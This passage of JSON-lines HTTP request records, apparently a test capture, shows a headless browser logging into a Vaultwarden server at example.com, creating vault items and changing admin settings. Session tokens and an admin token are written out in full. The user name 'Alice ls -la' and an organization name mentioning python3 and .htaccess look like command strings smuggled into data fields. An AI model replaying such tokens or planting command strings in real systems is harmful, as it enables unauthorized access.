tQprzDkwqV8VMAyiK1-KGvC9oAdXkj-p54JN5xTHfFT5KpjsJArNbSPaSruWLdj21CFaUs0MeDZZVEZ_b6yq5XVLEZevit2pwcr_PSEq-5tECgptOtt6S2NmDp8ID5FkzcIi7BaxZBDOJNBNkuHAYURvHDOFL47B__qcHcj5ZD-mf3q0s5ut_HwqAkGsAszRNcjz2BQlJ4w", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
{"method": "POST", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/collections", "headers": ["Host: example.com", "Content-Length: 264", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE3MDgsImV4cCI6MTc5NDI4ODkwOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImFlNTAzODFlLWM0ZGQtNDZkZi04YzFiLTgxZDA3YmQ2YjMxYyIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.Wn3NVdmLvdT-Q1Nbl9EENt94ePL-OQnmu3lGeamnQPBnlkBGwyqnCpxSInwrP4uvip_nCJObshjh8h3GNPzKXy2_EsA4L9-_Iim4EegSu2BEnta4vBzL-kgMPJWh_W1iuSDZz7Rr9DytQprzDkwqV8VMAyiK1-KGvC9oAdXkj-p54JN5xTHfFT5KpjsJArNbSPaSruWLdj21CFaUs0MeDZZVEZ_b6yq5XVLEZevit2pwcr_PSEq-5tECgptOtt6S2NmDp8ID5FkzcIi7BaxZBDOJNBNkuHAYURvHDOFL47B__qcHcj5ZD-mf3q0s5ut_HwqAkGsAszRNcjz2BQlJ4w", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"groups\":[],\"users\":[{\"id\":\"ab3f80e9-1cf2-4bd9-8c66-8c225c8d33dd\",\"readOnly\":false,\"hidePasswords\":false,\"manage\":true}],\"externalId\":\"\",\"name\":\"2./eWYBCYfxt2CpqudM8IRPw==|tfUIkttKcBarAVvj6qNBZLvw2Rom7QwMFQARagtkstA=|9zpUmFA8gLf3oUae49VRTknBLAsH1JKdeESqo2BWIEs=\"}"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=12bb4ea5-49af-4afd-9cec-ed32b2437f32&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=24434ab4-f1ef-4061-9380-1a993936a90d&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "POST", "target": "/api/ciphers/admin", "headers": ["Host: example.com", "Content-Length: 1480", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE4MDUsImV4cCI6MTc5NDI4OTAwNSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6IjI0NDM0YWI0LWYxZWYtNDA2MS05MzgwLTFhOTkzOTM2YTkwZCIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.edtR1uM5n7CzJSwlwHtZdz7ZHPyn1BODXLt8mnzi58O7kTpeAmPHruKXNl2I4ZDn9UeKoyJk22Bzz0doTsJSZ3xdGRP8Tr60HBepjkCl7wI164pao7fEXjJvkNFnosfjflhia_b28bbp_xrH42kQBpYO5Lc2Qo65cObCFAnSUDNRGvZPUDEdkGlhWZTNcW2P-XMtEHdJ-rp4CR1iyd8l5GH5c_5OEHTuBOD1Sl-R4UUwimpx6z6EnwA2JPLolCLIs77EMv7Dvy3NGUAZXXOGKWVXSj68Y6bJnRus9xS-ZsFOIgjaDlUtJlk6vP0F6LNmAlPie292IOWKeoq1iPQepA", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"cipher\":{\"type\":1,\"encryptedFor\":\"a43d6bb6-8efc-4dbe-ad25-0565eff91d6b\",\"encryptedByKeyId\":\"b1fb68418247e16695e690620effc0de\",\"organizationId\":\"eded96f5-92c5-43ce-ab72-533d0e962b9b\",\"name\":\"2.lY/hB+h+vqOQjg9Yna8m9w==|s480HYIfQbmtk6z/EYzbxPoFYzkNa7ydPg8dxA0Jytg=|FlREq/eToDYyO36XEdhDN6e9HU58bJ3rIZIw9GVWsQs=\",\"notes\":\"2.zUYzI+JWIYa4YjrdYbHs5Q==|i+t8bIXaZyNEQyTVeQwPs+RhZzIo6j2QXYc+PB4kMRbA3MvHiicCj6O0lbDrdvbB2H/Yj85vIRcsoWHtFpyDRg==|GRryQSmDSV7SSRI4Wx2C8bq7Krz+gt7QWNmxwjXVYG0=\",\"favorite\":false,\"lastKnownRevisionDate\":\"2026-11-10T03:37:05.299Z\",\"reprompt\":0,\"key\":\"2.qrusUZlra1XEFhBRBOoi9g==|o0bsKcbRSzfh/aQHQjvyUZqZ02NFvyk1DcU0YcYADKsJnWnPWyDL+v/HVaMit9XW7uxEevlUq+EupP3EIn5TSMR1xclexP/GxvJsoT/MHxc=|2pujK5igG7kwdxrLqzW24h/Hv5jta/mtPCIasjQq84I=\",\"login\":{\"response\":null,\"uris\":[{\"response\":null,\"match\":null,\"uri\":\"2.B4p7WzDPraJjl8OFO1muxg==|Mguml66+QHS7vnxCrn841MHiB+8PAvuTxHMIajw1AzE=|ob/5zszNCjKCZ2fbnHiOlhJD/8jC6F+ubvSkPHBJEVw=\",\"uriChecksum\":\"2.VCS0dJN0hhCtUD1HtKzPpg==|NPvWJwVpiPFW3uI7Ld/mL44b81wX8aLwrk8q9YwExlSZm2ewI0SWX4WUwGR18Ot2|kXLvqvMMAa46QdYO3zcTYLBLAgBVise8oaXSen3pOxA=\"}],\"username\":\"2.47MJc/rnQ22b9B9BTwHAYg==|c3dNl/3b9J+A8QSaal76Lw==|SbWBlD6abJ6hemq0dEuy0DPzSCZ5OhPnJHm+OvA+OrE=\",\"password\":\"2.+K8/FCFH8oK5VAw6dZz4Vw==|3B1V89DdD8J5N9F43NZWlHTchEGtUPuJsdJMTUk9pY4=|S62pRKUd+G/R9coMtZ8hnP6Fp8CBS11ODPpiHvg7G8Y=\",\"passwordRevisionDate\":null,\"totp\":null},\"fields\":[],\"attachments\":{},\"attachments2\":{}},\"collectionIds\":[\"fae8be0f-c913-4947-bd22-b8859070af38\"]}"}
{"method": "GET", "target": "/api/ciphers/32275125-8c1e-479f-8a41-0c6818b8f9b2/admin", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE4MDUsImV4cCI6MTc5NDI4OTAwNSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6IjI0NDM0YWI0LWYxZWYtNDA2MS05MzgwLTFhOTkzOTM2YTkwZCIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.edtR1uM5n7CzJSwlwHtZdz7ZHPyn1BODXLt8mnzi58O7kTpeAmPHruKXNl2I4ZDn9UeKoyJk22Bzz0doTsJSZ3xdGRP8Tr60HBepjkCl7wI164pao7fEXjJvkNFnosfjflhia_b28bbp_xrH42kQBpYO5Lc2Qo65cObCFAnSUDNRGvZPUDEdkGlhWZTNcW2P-XMtEHdJ-rp4CR1iyd8l5GH5c_5OEHTuBOD1Sl-R4UUwimpx6z6EnwA2JPLolCLIs77EMv7Dvy3NGUAZXXOGKWVXSj68Y6bJnRus9xS-ZsFOIgjaDlUtJlk6vP0F6LNmAlPie292IOWKeoq1iPQepA", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
{"method": "GET", "target": "/admin", "headers": ["Host: example.com", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Sec-Ch-Ua-Platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=0, i"], "body": ""}
{"method": "GET", "target": "/vw_static/bootstrap.css", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: text/css,*/*;q=0.1", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: style", "Referer: https://example.com/admin", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=0"], "body": ""}
{"method": "GET", "target": "/vw_static/admin.css", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: text/css,*/*;q=0.1", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: style", "Referer: https://example.com/admin", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=0"], "body": ""}
{"method": "GET", "target": "/vw_static/admin.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1"], "body": ""}
{"method": "GET", "target": "/vw_static/vaultwarden-icon.png", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: image", "Referer: https://example.com/admin", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=2, i"], "body": ""}
{"method": "GET", "target": "/vw_static/bootstrap.bundle.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=2"], "body": ""}
{"method": "POST", "target": "/admin", "headers": ["Host: example.com", "Content-Length: 25", "Cache-Control: max-age=0", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Sec-Ch-Ua-Platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=0, i"], "body": "token=example-admin-token"}
{"method": "GET", "target": "/vw_static/admin_settings.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=2"], "body": ""}
{"method": "POST", "target": "/admin/config", "headers": ["Host: example.com", "Content-Length: 2536", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Content-Type: application/json", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: same-origin", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE4NzEsImV4cCI6MTc5NDI4MzA3MSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.dqnU1s193U1PLoFNp_4u0tpzEqsjYzZvUYrtf9Q3D3EVUxRIn4EWTEiRBs6TkqDPqSi6JKnNllQuRYkMNVONYZFMHbmsppVUlV5WOhx1A9LvVe7Cqk9WvqA2thcDXubov1xr7B2jr3_JRGrKz5lFL0biHIi_ShI58Fb_aM3SraEJkTxGiP5RQgq5Nt3wBe6ihM7AMmWW03x-uwuGA89mDpHVxT2NpVQT4eEAmV7HsVmHF1-kDANtijg6u-ib8_S2re-pvdFRCN019zb63uRAtuyVJ1DUEbwXZyPifGC9BOKUIXx3lKQEHMS6O8s_umaxqxc19GIojMIU2iIcYhngpQ", "Priority: u=1, i"], "body": "{\"sends_allowed\":true,\"disable_icon_download\":false,\"signups_allowed\":true,\"signups_verify\":false,\"invitations_allowed\":true,\"emergency_access_allowed\":true,\"email_change_allowed\":true,\"password_hints_allowed\":true,\"show_password_hint\":false,\"http_request_block_non_global_ips\":true,\"disable_2fa_remember\":false,\"authenticator_disable_time_drift\":false,\"require_device_email\":false,\"reload_templates\":false,\"increase_note_size_limit\":false,\"dns_prefer_ipv6\":false,\"sso_enabled\":false,\"sso_only\":false,\"sso_signups_allowed\":true,\"sso_signups_match_email\":true,\"sso_allow_unknown_email_verification\":false,\"sso_pkce\":true,\"sso_auth_only_not_session\":false,\"sso_debug_tokens\":false,\"_enable_yubico\":true,\"_enable_duo\":true,\"_enable_smtp\":true,\"use_sendmail\":false,\"smtp_embed_images\":true,\"smtp_accept_invalid_certs\":false,\"smtp_accept_invalid_hostnames\":false,\"_enable_email_2fa\":false,\"email_2fa_enforce_on_verified_invite\":false,\"email_2fa_auto_fallback\":false,\"user_attachment_limit\":1048576,\"org_attachment_limit\":null,\"user_send_limit\":null,\"trash_auto_delete_days\":null,\"incomplete_2fa_time_limit\":3,\"signups_verify_resend_time\":3600,\"signups_verify_resend_limit\":6,\"password_iterations\":600000,\"icon_redirect_code\":302,\"icon_cache_ttl\":2592000,\"icon_cache_negttl\":259200,\"icon_download_timeout\":10,\"two_factor_remember_days\":30,\"admin_session_lifetime\":20,\"sso_client_cache_expiration\":0,\"smtp_port\":587,\"smtp_timeout\":15,\"email_token_size\":6,\"email_expiration_time\":600,\"email_attempts_limit\":3,\"domain\":\"https://example.com\",\"fill_assist_rules_url\":\"https://fillassist.bitwarden.com\",\"hibp_api_key\":null,\"signups_domains_whitelist\":\"example.com,example.org\",\"org_creation_users\":null,\"admin_token\":\"example-admin-token\",\"invitation_org_name\":\"python3 and .htaccess vault\",\"ip_header\":\"X-Real-IP\",\"ip_header_trusted_proxies\":\"local\",\"http_request_block_regex\":null,\"log_timestamp_format\":\"%Y-%m-%d %H:%M:%S.%3f\",\"allowed_iframe_ancestors\":null,\"allowed_connect_src\":null,\"sso_client_id\":null,\"sso_client_secret\":null,\"sso_authority\":null,\"sso_scopes\":\"email profile\",\"sso_authorize_extra_params\":null,\"sso_audience_trusted\":null,\"sso_callback_path\":\"https://example.com/identity/connect/oidc-signin\",\"sso_master_password_policy\":null,\"yubico_client_id\":null,\"yubico_secret_key\":null,\"yubico_server\":null,\"duo_ikey\":null,\"duo_skey\":null,\"duo_host\":null,\"smtp_host\":null,\"smtp_security\":\"starttls\",\"smtp_from\":null,\"smtp_from_name\":\"Vaultwarden\",\"smtp_username\":null,\"smtp_password\":null,\"smtp_auth_mechanism\":null,\"helo_name\":null}"}
{"method": "GET", "target": "/admin/users/overview", "headers": ["Host: example.com", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Sec-Ch-Ua-Platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE4NzEsImV4cCI6MTc5NDI4MzA3MSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.dqnU1s193U1PLoFNp_4u0tpzEqsjYzZvUYrtf9Q3D3EVUxRIn4EWTEiRBs6TkqDPqSi6JKnNllQuRYkMNVONYZFMHbmsppVUlV5WOhx1A9LvVe7Cqk9WvqA2thcDXubov1xr7B2jr3_JRGrKz5lFL0biHIi_ShI58Fb_aM3SraEJkTxGiP5RQgq5Nt3wBe6ihM7AMmWW03x-uwuGA89mDpHVxT2NpVQT4eEAmV7HsVmHF1-kDANtijg6u-ib8_S2re-pvdFRCN019zb63uRAtuyVJ1DUEbwXZyPifGC9BOKUIXx3lKQEHMS6O8s_umaxqxc19GIojMIU2iIcYhngpQ", "Priority: u=0, i"], "body": ""}
{"method": "GET", "target": "/vw_static/datatables.css", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: text/css,*/*;q=0.1", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: style", "Referer: https://example.com/admin/users/overview", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=2"], "body": ""}
{"method": "GET", "target": "/vw_static/datatables.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/users/overview", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=2"], "body": ""}
{"method": "GET", "target": "/vw_static/admin_users.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/users/overview", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=2"], "body": ""}
{"method": "GET", "target": "/vw_static/jdenticon-3.3.0.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/users/overview", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=2"], "body": ""}
